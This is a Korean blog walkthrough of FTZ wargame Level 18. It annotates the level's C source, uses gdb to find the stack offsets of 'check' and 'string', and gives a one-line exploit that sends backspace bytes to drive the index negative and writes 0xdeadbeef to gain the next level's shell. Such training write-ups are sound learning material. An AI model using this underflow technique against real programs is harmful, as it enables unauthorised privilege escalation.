FTZ Level 18

bin3635·2021년 8월 10일
0

hint의 코드가 상당히 길고 어려워서 아래에 따로 옮기고 주석을 붙였다.

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

void shellout(void);

int main()
{
    char string[100]; // string 변수 100바이트
    int check; // check 4바이트
    int x = 0;
    int count = 0;
    fd_set fds; // File Descripter 구조체 128바이트
    
    printf("Enter your command: ");
    fflush(stdout); // stdout 버퍼 비우기
    
    while(1) // 무한루프
    {
        if(count >= 100) printf("what are you trying to do?\n"); // count가 100보다 작으면 질문
        if(check == 0xdeadbeef) shellout(); // check가 0xdeadbeef면 Level 19 쉘 부여
        
    	else // check가 0xdeadbeef가 아니면
    	{
        	FD_ZERO(&fds);
        	FD_SET(STDIN_FILENO,&fds);

        	if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
        	{
            	if(FD_ISSET(fileno(stdin),&fds))
            	{
                    read(fileno(stdin),&x,1);
                    switch(x)
                    {
                        case '\r': // 비프음
                    	case '\n': // 비프음
                      	    printf("\a");
                      	    break;
                      	case 0x08: // 0x08 입력 시 count 감소, 글자 지우기
                            count--;
                            printf("\b \b");
                            break;
                      	default: // 그 외에는 string에 저장, count 증가
                            string[count] = x;
                            count++;
                            break;
                    }
                }
            }
        }
    }
}

void shellout(void)
{
    setreuid(3099,3099);
    execl("/bin/sh","sh",NULL);
}

해석이 어렵지만, 초반의 변수 선언 부분을 보면 이전까지와는 다르게 check가 string보다 나중에 선언되고 있기 때문에 check를 일반적인 방법으로 변조할 수 없다. 그러나 switch문의 default에서 count를 음수로 만든다면 string보다 앞에 있는 메모리에 접근할 수 있고, 결과적으로 check를 변조할 수 있게 된다.

gdb로 까보자.

main 함수가 길기 때문에 첫 페이지 먼저 살펴 보자.
<main+3>에서 0x100(256바이트)만큼의 공간을 스택에 할당한다.
<main+91>을 보면 [ebp-104]와 0xdeadbeef를 비교하고 있다. 즉 check가 위치한 지점은 [ebp-104]라는 것을 알 수 있다.
첫 페이지에서는 string이 위치한 지점이 나오지 않는 듯 하니 switch문이 나오는 부분까지 넘긴다.

<main+444>에서 0x8이 나왔기 때문에 switch문의 3번째 케이스라는 것을 알 수 있고, 따라서 <main+455>가 default가 되겠다.
다음 페이지를 살펴 보자.

jmp를 통해 0x8048770으로 이동하는 부분이 많이 보인다. 이것들이 break문이다.

또한 printf 함수가 여러 번 호출되고 있는 것이 보이는데, default에서는 printf 함수가 호출되지 않았으므로 <main+489>의 아랫쪽을 살펴 보자.

위에서 말한 break문의 위치와 printf 함수가 호출되는 위치를 고려했을 때 default의 내용은 <main+499>에서 <main+538>까지라는 것을 알 수 있다.

위에서 말한 구간에서 [ebp-xxx]를 모두 살펴 보자. 이 문제에서는 check가 string보다 나중에 선언되었다. 따라서 string은 check가 위치한 지점인 [ebp-104]보다 더 ebp에 가까운 지점에 위치해야 하는데, 여기서는 [ebp-100]밖에 없다. 무엇보다 check가 4바이트이기 때문에 4바이트 차이나는 지점이 [ebp-100] 하나 뿐이다. 따라서 string이 위치한 지점은 [ebp-100]이다.

공격법을 생각해 보자.
0x08이 입력되면 count가 감소해 string 인덱스가 1바이트씩 줄어든다.
check는 string보다 4바이트 앞에 위치하기 때문에 count가 -4가 되면 default에서 string[-4]를 참조하게 되므로 표준 입력으로 들어가는 x의 값이 check의 자리를 채우게 될 것이다.

공격 명령어는 다음과 같다.

(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme

질문이 그대로 나오는데, 당황하지 말고 id를 입력하면 Level 19의 쉘을 얻은 것을 알 수 있다.

0개의 댓글